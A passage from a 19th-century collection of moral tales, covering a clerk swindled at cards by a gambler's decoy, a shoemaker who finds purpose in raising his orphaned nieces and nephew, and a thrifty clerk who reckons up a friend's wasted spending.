noblest ends. While they talked, two young men, strangers to Green
came up, and were introduced by Bland as "My very particular
friends." Something about them did not at first impress Martin
favorably. But this impression soon wore off, they were so
intelligent and agreeable, Bland, after a little while, referred
again to the Cardinal Wolsey of Booth, and, drawing a copy of
Shakspeare's Henry VIII. from his pocket, remarked,--
"If it wasn't so public here, I'd like to read a few of the best
passages in Wolsey's part."
"Can't we get a private room?" said one of the two young men who had
joined Bland and Green. "There are plenty in the house. I'll see."
And away he went to the bar.
"Come," he said, returning in a few minutes; and the party followed
a waiter up stairs, and were shown into a small room, neatly
furnished, though smelling villanously of stale cigar smoke.
"This is cosy," was the approving remark of Bland, as they entered.
Hats and overcoats were laid aside, and they drew around a table
that stood in the centre of the room under the gaslight. A few
passages were read from Shakspeare, then drink was ordered by one of
the the party. The reading interspersed with critical comments, was
again resumed; but the reading soon gave way entire to the comments,
which, in a little while, passed from the text of Shakspeare to
actors, actresses, prima donnas, and ballet-dancers, the relative
merits of which were knowingly discussed for some time. In the midst
of this discussion, oysters, in two or three styles, and a smoking
dish of terrapin, ordered by a member of the company--which our young
friend Green did not know--were brought in, followed by a liberal
supply of wine and brandy. Bland expressed surprise, but accepted
the entertainment as quite agreeable to himself.
After the supper, cigars were introduced, and after the cigars,
cards. A few games were played for shilling stakes. Green, under the
influence of more liquor than his head could bear, and in the midst
of companions whose sphere he could not, in consequence, resist,
yielded in a new direction for him. Of gambling he had always
entertained a virtuous disapproval; yet, ere aware of the direction
in which he was drifting, he was staking money at cards, the sums
gradually increasing, until from shillings the ventures increased to
dollars. Sometimes he won, and sometimes he lost; the winnings
stimulating to new trials in the hope of further success, and the
losses stimulating to new trials in order to recover, if possible;
but, steadily, the tide, for all these little eddies of success,
bore him downwards, and losses increased from single dollars to
fives, and from fives to tens, his pleasant friend, Bland, supplying
whatever he wanted in the most disinterested way, until an aggregate
loss of nearly a hundred and fifty dollars sobered and appalled him.
The salary of Martin Green was only four hundred dollars, every cent
of which was expended as fast as earned. A loss of a hundred and
fifty dollars was, therefore, a serious and embarrassing matter.
"I'll call and see you to-morrow, when we can arrange this little
matter," said Mr. Bland, "on parting with Green at his own door. He
spoke pleasantly, but with something in his voice that chilled the
nerves of his victim. On the next day while Green stood at his desk,
trying to fix his mind upon his work, and do it correctly, his
employer said,--
"Martin, there's a young man in the store who has asked for you."
Green turned and saw the last man on the earth he desired to meet.
His pleasant friend of the evening before had called to "arrange
that little matter."
"Not too soon for you, I hope," remarked Bland, with his courteous,
yet now serious, smile, as he took the victim's hand.
"Yes, you _are_, too soon," was soberly answered.
The smile faded off of Bland's face.
"When will you arrange it?"
"In a few days."
"But I want the money to-day. It was a simple loan, you know."
"I am aware of that, but the amount is larger than I can manage at
once," said Green.
"Can I have a part to-day?"
"Not to-day."
"To-morrow, then?"
"I'll do the best in my power."
"Very well. To-morrow, at this time, I will call. Make up the whole
sum if possible, for I want it badly."
"Do you know that young man?" asked Mr. Phillips, the employer of
Green, as the latter came back to his desk. The face of Mr. Phillips
was unusually serious.
"His name is Bland."
"Why has he called to see you?" The eyes of Mr. Phillips were fixed
intently on his clerk.
"He merely dropped in. I have met him a few times in company."
"Don't you know his character?"
"I never heard a word against him," said Green.
"Why, Martin!" replied Mr. Phillips, "he has the reputation of being
one of the worst young men in our city; a base gambler's
stool-pigeon, some say."
"I am glad to know it, sir," Martin had the presence of mind, in the
painful confusion that overwhelmed him, to say, "and shall treat him
accordingly." He went back to his desk, and resumed his work.
It is the easiest thing in the world to go to astray, but always
difficult to return, Martin Green was astray, but how was he to get
into the right path again? A barrier that seemed impassable was now
lying across the way over which he had passed, a little while
before, with lightest footsteps. Alone and unaided, he could not
safely get back. The evil spirits that lure a man from virtue never
counsel aright when to seek to return. They magnify the perils that
beset the road by which alone is safety, and suggest other ways that
lead into labyrinths of evil from which escape is sometimes
impossible. These spirits were now at the ear of our unhappy young
friend, suggesting methods of relief in his embarrassing position.
If Bland were indeed such a character as Mr. Phillips had
represented him, it would be ruin, in his employer's estimation, to
have him call again and again for his debt. But how was he to
liquidate that debt? There was nothing due him on account of salary,
and there was not a friend or acquaintance to whom he could apply
with any hope of borrowing.
"Man's extremity is the devil's opportunity." It was so in the
present case, Green had a number of collections to make on that day,
and his evil counsellors suggested his holding back the return of
two of these, amounting to his indebtedness, and say that the
parties were not yet ready to settle their bills. This would enable
him to get rid of Bland, and gain time. So, acting upon the bad
suggestion, he made up his return of collections, omitting the two
accounts to which we have referred.
Now it so happened that one of the persons against whom these
accounts stood, met Mr. Phillips as he was returning from dinner in
the afternoon, and said to him,--
"I settled that bill of yours to-day."
"That's right. I wish all my customers were as punctual," answered
Mr. Phillips.
"I gave your young man a check for a hundred and five dollars."
"Thank you."
And the two men passed their respective ways.
On Mr. Phillips's return to his store, Martin rendered his account
of collections, and, to the surprise of his employer, omitted the
one in regard to which he had just been notified.
"Is this all?" he asked, in a tone that sent a thrill of alarm to
the guilty heart of his clerk.
"Yes, sir," was the not clearly outspoken answer.
"Didn't Garland pay?"
"N-n-o, sir!" The suddenness of this question so confounded Martin,
that he could not answer without a betraying hesitation.
"Martin!" Astonishment, rebuke, and accusation were in the voice of
Mr. Phillips as he pronounced his clerk's name. Martin's face
flushed deeply, and then grew very pale. He stood the image of guilt
and fear for some moments, then, drawing out his pocket book, he
brought therefrom a small roll of bank bills, and a memorandum slip
of paper.
"I made these collections also." And he gave the money and
memorandum to Mr. Phillips.
"A hundred and fifty dollars withheld! Martin! Martin! what _does_
this mean?"
"Heaven is my witness, sir," answered the young man, with quivering
lips, "that I have never wronged you out of a dollar, and had no
intention of wronging you now. But I am in a fearful strait. My feet
have become suddenly mired, and this was a desperate struggle for
extrication--a temporary expedient only, not a premeditated wrong
against you."
"Sit down, Martin," said Mr. Phillips, in a grave, but not severe,
tone of voice. "Let me understand the case from first to last.
Conceal nothing, if you wish to have me for a friend."
Thus enjoined, Martin told his humiliating story.
"If you had not gone into the way of temptation, the betrayer had
not found you," was the remark of Mr. Phillips, when the young man
ended his confession. "Do you frequent these eating and drinking
saloons?"
"I go occasionally, sir."
"They are neither safe nor reputable, Martin. A young man who
frequents them must have the fine tone of his manhood dimmed. There
is an atmosphere of impurity about these places. Have you a younger
brother?"
"Yes, sir."
"Would you think it good for him, as he emerged from youth to
manhood, to visit refectories and billiard saloons?"
"No, sir, I would do all in my power to prevent it."
"Why?"
"There's danger in them, sir."
"And, knowing this, you went into the way of danger, and have
fallen!"
Martin dropped his eyes to the floor in confusion.
"Bland is a stool-pigeon and you were betrayed."
"What am I to do?" asked the troubled young man. "I am in debt to
him."
"He will be here to-morrow."
"Yes, sir."
"I will have a policeman ready to receive him."
"O, no, no, Sir. Pray don't do that!" answered Martin, with a
distressed look.
"Why not?" demanded Mr. Phillips.
"It will ruin me."
"How?"
"Bland will denounce me."
"Let him."
"I shall be exposed to the policeman."
"An evil, but a mild one, compared with that to which you were
rushing in order to disentangle yourself. I must have my way, sir.
This matter has assumed a serious aspect. You are in my power, and
must submit."
On the next day, punctual to the hour, Bland called.
"This is your man," said Mr. Phillips to his clerk. "Ask him into
the counting-room." Bland, thus invited, walked back. As he entered,
Mr. Phillips said,--
"My clerk owes you a hundred and fifty dollars, I understand."
"Yes, sir;" and the villain bowed.
"Make him out a receipt," said Mr. Phillips.
"When I receive the money," was coldly and resolutely answered.
Martin glanced sideways at the face of Bland, and the sudden change
in its expression chilled him. The mild, pleasant, virtuous aspect
he could so well assume was gone, and he looked more like a fiend
than a man. In pictures he had seen eyes such as now gleamed on Mr.
Phillips, but never in a living face before.
The officer, who had been sitting with a newspaper in his hand, now
gave his paper a quick rattle as he threw it aside, and, coming
forward, stood beside Mr. Phillips, and looked steadily at the face
of Bland, over which passed another change: it was less assured, but
not less malignant.
Mr. Phillips took out his pocket-book, and, laying a twenty-dollar
bill on the desk by which they were standing, said,--
"Take this and sign a receipt."
"No, sir!" was given with determined emphasis. "I am not to be
robbed in this way!"
"Ned," the officer now spoke, "take my advice, and sign a receipt."
"It's a cursed swindle!" exclaimed the baffled villain.
"We will dispense with hard names, sir!" The officer addressed him
sternly. "Either take the money, or go. This is not a meeting for
parley. I understand you and your operations."
A few moments Bland stood, with an irresolute air; then, clutching
desperately at a pen, he dashed off a receipt, and was reaching for
the money, when Mr. Phillips drew it back, saying,--
"Wait a moment, until I examine the receipt." He read it over, and
then, pushing it towards Bland, said,--
"Write 'In full of all demands.'" A growl was the oral response.
Bland took the pen again, and wrote as directed.
"Take my advice, young man, and adopt a safer and more honorable
business," said Mr. Phillips, as he gave him the twenty-dollar bill.
"Keep your advice for them that ask it!" was flung back in his face.
A look of hate and revenge burned in the fellow's eyes. After
glaring at Mr. Phillips and Martin in a threatening way for several
moments, he left more hurriedly than he had entered.
"And take my advice," said the officer, laying his hand on Martin's
arm,--he spoke in a warning tone,--"and keep out of that man's way.
He'll never forgive you. I know him and his prowling gang, and they
are a set of as hardened and dangerous villains as can be found in
the city. You are 'spotted' by them from this day, and they number a
dozen at least. So, if you would be safe, avoid their haunts. Give
drinking saloons and billiard rooms a wide berth. One experience
like this should last you a life-time."
Thus Martin escaped from his dangerous entanglement, but never again
to hold the unwavering confidence of his employer. Mr. Phillips
pitied, but could not trust him fully. A year afterwards came
troublesome times, losses in business, and depression in trade.
Every man had to retrench. Thousands of clerks lost their places,
and anxiety and distress were on every hand. Mr. Phillips, like
others, had to reduce expenses, and, in reducing, the lot to go fell
upon Martin Green. He had been very circumspect, had kept away from
the old places where danger lurked, had devoted himself with renewed
assiduity to his employer's interests; but, for all this, doubts
were forever arising in the mind of Mr. Phillips, and when the
question, "Who shall go?" came up, the decision was against Martin.
We pity him, but cannot blame his employer.
III.
ANDY LOVELL.
ALL the village was getting out with Andy Lovell, the shoemaker; and
yet Andy Lovell's shoes fitted so neatly, and wore so long, that the
village people could ill afford to break with him. The work made by
Tompkins was strong enough, but Tompkins was no artist in leather.
Lyon's fit was good, and his shoes neat in appearance, but they had
no wear in them. So Andy Lovell had the run of work, and in a few
years laid by enough to make him feel independent. Now this feeling
of independence is differently based with different men. Some must
have hundreds of thousands of dollars for it to rest upon, while
others find tens of thousands sufficient. A few drop below the tens,
and count by units. Of this last number was Andy Lovell, the
shoemaker.
When Andy opened his shop and set up business for himself, he was
twenty-four years of age. Previous to that time he had worked as
journeyman, earning good wages, and spending as fast as he earned,
for he had no particular love of money, nor was he ambitious to rise
and make an appearance in the world. But it happened with Andy as
with most young men he fell in love; and as the village beauty was
compliant, betrothal followed. From this time he was changed in many
things, but most of all in his regard for money. From a free-handed
young man, he became prudent and saving, and in a single year laid
by enough to warrant setting up business for himself. The wedding
followed soon after.
The possession of a wife and children gives to most men broader
views of life. They look with more earnestness into the future, and
calculate more narrowly the chances of success. In the ten years
that followed Andy Lovell's marriage no one could have given more
attention to business, or devoted more thought and care to the
pleasure of customers. He was ambitious to lay up money for his
wife's and children's sake, as well as to secure for himself the
means of rest from labor in his more advancing years. The
consequence was, that Andy served his neighbors, in his vocation, to
their highest satisfaction. He was useful, contented, and thrifty.
A sad thing happened to Andy and his wife after this. Scarlet fever
raged in the village one winter, sweeping many little ones into the
grave. Of their three children, two were taken; and the third was
spared, only to droop, like a frost-touched plant, and die ere the
summer came. From that time, all of Andy Lovell's customers noted a
change in the man; and no wonder. Andy had loved these children
deeply. His thought had all the while been running into the future,
and building castles for them to dwell in. Now the future was as
nothing to him; and so his heart beat feebly in the present. He had
already accumulated enough for himself and his wife to live on for
the rest of their days; and, if no more children came, what motive
was there for a man of his views and temperament to devote himself,
with the old ardor, to business?
So the change noticed by his customers continued. He was less
anxious to accommodate; disappointed them oftener; and grew
impatient under complaint or remonstrance. Customers, getting
discouraged or offended, dropped away, but it gave Andy no concern.
He had, no longer, any heart in his business; and worked in it more
like an automaton than a live human being.
At last, Andy suddenly made up his mind to shut up his shop, and
retire from business. He had saved enough to live on--why should he
go on any longer in this halting, miserable way--a public servant,
yet pleasing nobody?
Mrs. Lovell hardly knew what to say in answer to her husband's
suddenly formed resolution. It was as he alleged; they had laid up
sufficient; to make them comfortable for the rest of their lives;
and, sure enough, why should Andy worry himself any longer with the
shop? As far as her poor reason went, Mrs. Lovell had nothing to
oppose; but all her instincts were on the other side--she could not
feel that it would be right.
But Andy, when he made up his mind to a thing, was what people call
hard-headed. His "I won't stand it any longer," meant more than this
common form of speech on the lips of ordinary men. So he gave it out
that he should quit business; and it was soon all over the village.
Of course Tompkins and Lyon were well enough pleased, but there were
a great many who heard of the shoemaker's determination with regret.
In the face of all difficulties and annoyances, they had continued
to depend on him for foot garniture, and were now haunted by
unpleasant images of cramped toes, corns, bunyons, and all the
varied ill attendant on badly made and badly fitting shoes, boots,
and gaiters. The retirement of Andy, cross and unaccommodating as he
had become, was felt, in many homes, to be a public calamity.
"Don't think of such a thing, Mr. Lovell," said one.
"We can't do without you," asserted another.
"You'll not give up altogether," pleaded a third, almost coaxingly.
But Andy Lovell was tired of working without any heart in his work;
and more tired of the constant fret and worry attendant upon a
business in which his mind had ceased to feel interest. So he kept
to his resolution, and went on with his arrangements for closing the
shop.
"What are you going to do?" asked a neighbor.
"Do?" Andy looked, in some surprise, at his interrogator.
"Yes. What are you going to do? A man in good health, at your time
of life, can't be idle. Rust will eat him up."
"Rust?" Andy looked slightly bewildered.
"What's this?" asked the neighbor, taking something from Andy's
counter.
"An old knife," was the reply. "It dropped out of the window two or
three months ago and was lost. I picked it up this morning."
"It's in a sorry condition," said the neighbor. "Half eaten up with
rust, and good for nothing."
"And yet," replied the shoemaker, "there was better stuff in that
knife, before it was lost, than in any other knife in the shop."
"Better than in this?" And the neighbor lifted a clean, sharp-edged
knife from Andy's cutting-board.
"Worth two of it."
"Which knife is oldest?" asked the neighbor.
"I bought them at the same time."
"And this has been in constant use?"
"Yes."
"While the other lay idle, and exposed to the rains and dews?"
"And so has become rusted and good for nothing. Andy, my friend,
just so rusted, and good for nothing as a man, are you in danger of
becoming. Don't quit business; don't fall out of your place; don't
pass from useful work into self-corroding idleness, You'll be
miserable--miserable."
The pertinence of this illustration struck the mind of Andy Lovell,
and set him to thinking; and the more he thought, the more disturbed
became his mental state. He had, as we have see, no longer any heart
in his business. All that he desired was obtained--enough to live on
comfortably; why, then, should he trouble himself with hard-to-please
and ill-natured customers? This was one side of the question.
The rusty knife suggested the other side. So there was conflict in
his mind; but only a disturbing conflict. Reason acted too feebly on
the side of these new-coming convictions. A desire to be at once,
and to escape daily work and daily troubles, was stronger than any
cold judgement of the case.
"I'll find something to do," he said, within himself, and so pushed
aside unpleasantly intruding thoughts. But Mrs. Lovell did not fail
to observe, that since, her husband's determination to go out of
business, he had become more irritable than before, and less at ease
in every way.
The closing day came at last. Andy Lovell shut the blinds before the
windows of his shop, at night-fall, saying, as he did so, but in a
half-hearted, depressed kind of a way, "For the last time;" and then
going inside, sat down in front of the counter, feeling strangely
and ill at ease. The future looked very blank. There was nothing in
it to strive for, to hope for, to live for. Andy was no philosopher.
He could not reason from any deep knowledge of human nature. His
life had been merely sensational, touching scarcely the confines of
interior thought. Now he felt that he was getting adrift, but could
not understand the why and the wherefore.
As the twilight deepened, his mental obscurity deepened also. He was
still sitting in front of his counter, when a form darkened his open
door. It was the postman, with a letter for Andy's wife. Then he
closed the door, saying in his thought, as he had said when closing
the shutters, "For the last time," and went back into the house with
the letter in his hand. It was sealed with black. Mrs. Lovell looked
frightened as she noticed this sign of death. The contents were soon
known. An only sister, a widow, had died suddenly, and this letter
announced the fact. She left three young children, two girls and a
boy. These, the letter stated, had been dispensed among the late
husband's relatives; and there was a sentence or two expressing a
regret that they should be separated from each other.
Mrs. Lovell was deeply afflicted by this news, and abandoned
herself, for a while, to excessive grief. Her husband had no
consolation to offer, and so remained, for the evening, silent and
thoughtful. Andy Lovell did not sleep well that night. Certain
things were suggested to his mind, and dwelt upon, in spite of many
efforts to thrust them aside. Mrs. Lovell was wakeful also, as was
evident to her husband from her occasional sighs, sobs, and restless
movements; but no words passed between them. Both rose earlier than
usual.
Had Andy Lovell forgotten that he opened his shop door, and put back
the shutters, as usual? Was this mere habit-work, to be corrected
when he bethought himself of what he had done? Judging from his
sober face and deliberate manner--no. His air was not that of a man
acting unconsciously.
Absorbed in her grief, and troubled with thoughts of her sister's
orphaned children, Mrs. Lovell did not, at first, regard the opening
of her husband's shop as anything unusual. But, the truth flashing
across her mind, she went in where Lovell stood at his old place by
the cutting-board, on which was laid a side of morocco, and said,--
"Why, Andy! I thought you had shut up the shop for good and all."
"I thought so last night, but I've changed my mind," was the
low-spoken but decided answer.
"Changed your mind! Why?"
"I don't know what you may think about it, Sally; but my mind's made
up." And Andy squared round, and looked steadily into his wife's
face. "There's just one thing we've got to do; and it's no use
trying to run away from it. That letter didn't come for nothing. The
fact is, Sally, them children mustn't be separated. I've been
thinking about it all night, and it hurts me dreadfully."
"How can we help it? Mary's dead, and her husband's relations have
divided the children round. I've no doubt they will be well cared
for," said Mrs. Lovell.
She had been thinking as well as her husband, but not to so clear a
result. To bring three little children into her quiet home, and
accept years of care, of work, of anxiety, and responsibility, was
not a thing to be done on light consideration. She had turned from
the thought as soon as presented, and pushed it away from every
avenue through which it sought to find entrance. So she had passed
the wakeful night, trying to convince herself that her dead sister's
children would be happy and well cared for.
"If they are here, Sally, we can be certain that they are well cared
for," replied Andy.
"O, dear! I can never undertake the management of three children!"
said Mrs. Lovell, her countenance expressing the painful reluctance
she felt.
Andy turned partly away from his wife, and bent over the
cutting-board. She saw, as he did so, an expression of countenance
that rebuked her.
"A matter like this should be well considered," remarked Mrs.
Lovell.
"That's true," answered her husband. "So take your time. They're
your flesh and blood, you know, and if they come here, you'll have
the largest share of trouble with them."
Mrs. Lovell went back into the house to think alone, while Andy
commenced cutting out work, his hands moving with the springs of a
readier will than had acted through them for a long time.
It took Mrs. Lovell three or four days to make up her mind to send
for the children, but the right decision came at last. All this
while Andy was busy in his shop--cheerfully at work, and treating the
customers, who, hearing that he had changed his mind, were pressing
in upon him with their orders, much after the pleasant fashion in
which he had treated them in years gone by. He knew that his wife
would send for the children; and after their arrival, he knew that
he would have increased expenses. So, there had come a spur to
action, quickening the blood in his veins; and he was at work once
more, with heart and purpose, a happier man, really, than he had
been for years.
Two or three weeks passed, and then the long silent dwelling of Andy
Lovell was filled with the voices of children. Two or three years
have passed since then. How is it with Andy? There is not a more
cheerful man in all the village, though he is in his shop early and
late. No more complaints from customers. Every one is promptly and
cheerfully served. He has the largest run of work, as of old; and
his income is sufficient not only to meet increased expenses, but to
leave a surplus at the end of every year. He is the bright, sharp
knife, always in use; not the idle blade, which had so narrowly
escaped, falling from the window, rusting to utter worthlessness in
the dew and rain.
IV.
A MYSTERY EXPLAINED.
"GOING to the Falls and to the White Mountains!"
"Yes, I'm off next week."
"How long will you be absent?"
"From ten days to two weeks."
"What will it cost?"
"I shall take a hundred dollars in my pocket-book! That will carry
me through."
"A hundred dollars! Where did you raise that sum? Who's the lender?
Tell him he can have another customer."
"I never borrow."
"Indeed! Then you've had a legacy."
"No, and never expect to have one. All my relations are poor."
"Then unravel the mystery. Say where the hundred dollars came from."
"The answer is easy. I saved it from my salary."
"What?"
"I saved it during the last six months for just this purpose, and
now I am to have two weeks of pleasure and profit combined."
"Impossible!"
"I have given you the fact."
"What is your salary, pray?"
"Six hundred a year."
"So I thought. But you don't mean to say that in six months you have
saved one hundred dollars out of three hundred?"
"Yes; that is just what I mean to say."
"Preposterous. I get six hundred, and am in debt."
"No wonder."
"Why no wonder?"
"If a man spends more than he receives, he will fall in debt."
"Of course he will. But on a salary of six hundred, how is it
possible for a man to keep out of debt?"
"By spending less than he receives."
"That is easily said."
"And as easily done. All that is wanted is prudent forethought,
integrity of purpose, and self-denial. He must take care of the
pennies, and the pounds will take care of themselves."
"Trite and obsolete."
"True if trite; and never obsolete. It is as good doctrine to-day as
it was in poor Richard's time. Of that I can bear witness."
"I could never be a miser or a skinflint."
"Nor I. But I can refuse to waste my money in unconsidered trifles,
and so keep it for more important things; for a trip to Niagara and
the White Mountains, for instance."
The two young men who thus talked were clerks, each receiving the
salary already mentioned--six hundred dollars. One of them, named
Hamilton, understood the use of money; the other, named Hoffman,
practised the abuse of this important article. The consequence was,
that while Hamilton had a hundred dollars saved for a trip during
his summer vacation, Hoffman was in debt for more than two or three
times that amount.
The incredulous surprise expressed by Hoffman was sincere. He could
not understand the strange fact which had been announced. For an
instant it crossed his mind that Hamilton might only have advanced
his seeming impossible economy as a cover to dishonest practices.
But he pushed the thought away as wrong.
"Not much room for waste of money on a salary of six hundred a
year," answered Hoffman.
"There is always room for waste," said Hamilton. "A leak is a leak,
be it ever so small. The quart flagon will as surely waste its
precious contents through a fracture that loses only a drop at a
time, as the butt from which a constant stream is pouring. The fact
is, as things are in our day, whether flagon or butt, leakage is the
rule not the exception."
"I should like to know where the leak in my flagon is to be found,"
said Hoffman. "I think it would puzzle a finance committee to
discover it."
"Shall I unravel for you the mystery?"
"You unravel it! What do you know of my affairs?"
"I have eyes."
"Do I waste my money?"
"Yes, if you have not saved as much as I have during the last six
months; and yes, if my eyes have given a true report."
"What have your eyes reported?"
"A system of waste, in trifles, that does not add anything
substantial to your happiness and certainly lays the foundation for
a vast amount of disquietude, and almost certain embarrassment in
money affairs, and consequent humiliations."
Hoffman shook his head gravely answering, "I can't see it."
"Would you like to see it?"
"O, certainly, if it exists."
"Well, suppose we go down into the matter of expenditures, item by
item, and make some use of the common rules of arithmetic as we go
along. Your salary, to start with, is six hundred dollars, and you
play the same as I do for boarding and washing, that is, four and a
half dollars per week, which gives the sum of two hundred and
thirty-four dollars a year. What do your clothes cost?"
"A hundred and fifty dollars will cover everything!"
"Then you have two hundred and sixteen dollars left. What becomes of
that large sum?"
Hoffman dropped his eyes and went to thinking. Yes, what had become
of these two hundred and sixteen dollars? Here was the whole thing
in a nutshell.
"Cigars," said Hamilton. "How many do you use in a day?"
"Not over three. But these are a part of considered expenses. I am
not going to do without cigars."
"I am only getting down to the items," answered the friend. "We must
find out where the money goes. Three cigars a day, and, on an
average, one to a friend, which makes four."
"Very well, say four."
"At six cents apiece."
Hamilton took a slip of paper and made a few figures.
"Four cigars a day at six cents each, cost twenty-four cents. Three
hundred and sixty-five by twenty-four gives eighty-seven dollars and
sixty cents, as the cost of your cigars for a year."
"O, no! That is impossible," returned Hoffman, quickly.
"There is the calculation. Look at it for yourself," replied
Hamilton, offering the slip of paper.
"True as I live!" ejaculated the other, in unfeigned surprise. "I
never dreamed of such a thing. Eighty-seven dollars. That will never
do in the world. I must cut this down."
"A simple matter of figures. I wonder you had not thought of
counting the cost. Now I do not smoke at all. It is a bad habit,
that injures the health, and makes us disagreeable to our friends,
to say nothing of the expense. So you see how natural the result,
that at the end of the year I should have eighty-seven dollars in
band, while you had puffed away an equal sum in smoke. So much for
the cigar account. I think you take a game of billiards now and
then."
"Certainly I do. Billiards are innocent. I am very fond of the game,
and must have some recreation."
"Exactly so. The question now is, What do they cost?"
"Nothing to speak of. You can't make out a case here."
"We shall see. How often do you play?"
"Two or three times a week."
"Say twice a week."
"Yes."
"Very well. Let it be twice. A shilling a game must be paid for use
of the table?"
"Which comes from the loser's pocket. I, generally, make it a point
to win."
"But lose sometimes."
"Of course. The winning is rarely all on one side."
"One or two games a night?"
"Sometimes."
"Suppose we put down an average loss of three games in a week. Will
that be too high?"
"No. Call it three games a week."
"Or, as to expense, three shillings. Then, after the play, there
comes a glass of ale--or, it may be oysters."
"Usually."
"Will two shillings at week, taking one week with another, pay for
your ale and oysters?"
Hoffman did not answer until he had reflected for a few moments,
Then he said,--
"I'm afraid neither two nor four shillings will cover this item. We
must set it down at six."
"Which gives for billiards, ale and oysters, the sum of one dollar
and a shilling per week. Fifty-two by a dollar twelve-and-a-half,
and we have the sum of fifty-eight dollars and fifty cents. Rather a
serious item this, in the year's expense, where the income is only
six hundred dollars!"
Hoffman looked at his friend in a bewildered kind of way. This was
astounding.
"How often do you go to the theatre and opera?" Hamilton went on
with his questions.
"Sometimes once a week. Sometimes twice or thrice, according to the
attraction."
"And you take a lady now and then?"
"Yes."
"Particularly during the opera season?"
"Yes. I'm not so selfish as always to indulge in these pleasures
alone."
"Very well. Now for the cost. Sometimes the opera is one dollar. So
it costs two dollars when you take a lady."
"Which is not very often."
"Will fifty cents a week, averaging the year, meet this expense?"
After thinking for some time, Hoffman said yes, he thought that
fifty cents a week would be a fair appropriations.
"Which adds another item of twenty-six dollars a year to your
expenses."
"But would you cut off everything?" objected Hoffman. "Is a man to
have no recreations, no amusements?"
"That is another question," coolly answered Hamilton. "Our present
business is to ascertain what has become of the two hundred and
sixteen dollars which remained of your salary after boarding and
clothing bills were paid. That is a handsome gold chain. What did it
cost?"
"Eighteen dollars."
"Bought lately?"
"Within six months."
"So much more accounted for. Is that a diamond pin?"
Hoffman a little as he answered,--
"Not a very costly one. Merely a scarf-pin, as you see. Small,
though brilliant. Always worth what I paid for it."
"Cost twenty-five or thirty dollars?"
"Twenty-five."
"Shall I put that down as one of the year expenses?"
"Yes, you may do so."
"What about stage and car hire? Do you ride or walk to and from
business?"
"I ride, of course. You wouldn't expect me to walk nearly a mile
four times a day."
"I never ride, except in bad weather. The walk gives me just the
exercise I need. Every man, who is confined in a store or
counting-room during business hours, should walk at least four miles
a day. Taken in installments of one mile at a time, at good
intervals, there is surely no hardship in this exercise. Four rides,
at six-pence a ride and we have another item of twenty-five cents at
day. You go down town nearly every evening?"
"Yes."
"And ride both ways?
"Yes."
"A shilling more, or thirty seven and a half cents daily for car and
stage hire. Now for another little calculation. Three hundred days,
at three shillings a day. There it is."
And Hamilton reached a slip of paper to his friend.
"Impossible!" The latter actually started to his feet. "A hundred
and twelve dollars and fifty cents!"
"If you spend three shillings a day, you will spend that sum in a
year. Figures are inexorable."
Hoffman sat down again in troubled surprise, saying,
"Have you got to the end?"
"Not yet," replied his companion.
"Very well. Go on."
"I often notice you with candies, or other confections; and you are,
sometimes, quite free in sharing them with your friends. Burnt
almonds, sugar almonds, Jim Crow's candied fruits, macaroons, etc.
These are not to be had for nothing; and besides their cost they are
a positive injury to the stomach. You, of course, know to what
extent you indulge this weakness of appetite. Shall we say that it
costs an average of ten cents a day?"
"Add fruit, in and out of season, and call it fifteen cents,"
replied Hoffman.
"Very well. For three hundred days this will give another large
sum--forty-five dollars?"
"Anything more?" said Hoffman in a subdued, helpless kind of way,
like one lying prostrate from a sudden blow.
"I've seen you driving out occasionally; sometimes on Sunday. And,
by the way, I think you generally take an excursion on Sunday, over
to Staten Island, or to Hoboken, or up the river, or--but no matter
where; you go about and spend money on the Sabbath day. How much
does all this cost? A dollar a week? Seventy-five cents? Fifty
cents? We are after the exact figures as near as maybe. What does it
cost for drives and excursions, and their spice of refreshment?"
"Say thirty dollars a year."
"Thirty dollars, then, we will call it. And here let us close, in
order to review the ground over which we have been travelling. All
those various expenses, not one of which is for things essential to
health, comfort, or happiness, but rather for their destruction,
amount to the annual sum of four hundred and two dollars sixty
cents,--you can go over the figures for yourself. Add to this three
hundred and eighty-four dollars, the cost of boarding and clothing,
and you swell the aggregate to nearly eight hundred dollars; and
your salary is but six hundred!"
A long silence followed.
"I am amazed, confounded!" said Hoffman, resting his head between
his hands, as he leaned on the table at which they were sitting.
"And not only amazed and confounded," he went on, "but humiliated,
ashamed! Was I a blind fool that I did not see it myself? Had I
forgotten my multiplication table?"
"You are like hundreds--nay, thousands," replied the friend, "to whom
a sixpence, a shilling, or even a dollar spent daily has a very
insignificant look; and who never stop to think that sixpence a day
amounts to over twenty dollars in a year; a shilling a day to over
forty; and a dollar a day to three hundred and sixty-five. We cannot
waste our money in trifles, and yet have it to spend for substantial
benefits. The cigars you smoked in the past year; the games of
billiards you played; the ale and oysters, cakes, confections, and
fruit consumed; the rides in cars and stages; the drives and Sunday
excursions, crave only the briefest of pleasures, and left new and
less easily satisfied desires behind. It will not do, my friend, to
grant an easy indulgence to natural appetite and desire, for they
ever seek to be our masters. If we would be men--self-poised,
self-controlling, self-possessing men--we must let reason govern in
all our actions. We must be wise, prudent, just, and self-denying;
and from this rule of conduct will spring order, tranquillity of
mind, success, and true enjoyment. I think, Hoffman, that I am quite
as happy a man as you are; far happier, I am sure, at this moment;
and yet I have denied myself nearly all theses indulgences through
which you have exhausted your means and embarrassed yourself with
debt. Moreover, I have a hundred dollars clear of everything, with
which I shall take a long-desired excursion, while you will be
compelled, for lack of the very money which has been worse than
wasted, to remain a prisoner in the city. Pray, be counselled to a
different course in future."
"I would be knave or fool to need further incentive," said Hoffman,
with much bitterness. "At the rate I am going on, debt, humiliation,
and disgrace are before me. I may live up to my income without
actually wronging others--but not beyond it. As things are now going,
I am two hundred dollars worse off at the end of each year when than
I began, and, worse still, weaker as to moral purpose, while the
animal and sensual natures, from constant indulgence, have grown
stronger. I must break this thraldom now; for, a year hence, it may
be too late! Thank, you, my friend, for your plain talk. Thank you
for teaching me anew the multiplication table, I shall, assuredly,
not forget it again."
V.
WHAT CAN I DO?
HE was a poor <DW36>--with fingers twisted out of all useful shape,
and lower limbs paralyzed so that he had to drag them after him
wearily when he moved through the short distances that limited his
sphere of locomotion--a poor, unhappy, murmuring, and, at times,
ill-natured <DW36>, eating the bread which a mother's hard labor
procured for him. For hours every fair day, during spring, summer,
and autumn, he might be seen in front of the little house where he
lived leaning upon the gate, or sitting on an old bench looking with
a sober face at the romping village children, or dreamily regarding
the passengers who moved with such strong limbs up and down the
street. How often, bitter envy stung the poor <DW36>'s heart! How
often, as the thoughtless village children taunted him cruelly with
his misfortune, would he fling harsh maledictions after them. Many
pitied the poor <DW36>; many looked upon him with feelings of
disgust and repulsion; but few, if any, sought to do him good.
Not far from where the <DW36> lived was a man who had been
bedridden for years, and who was likely to remain so to the end of
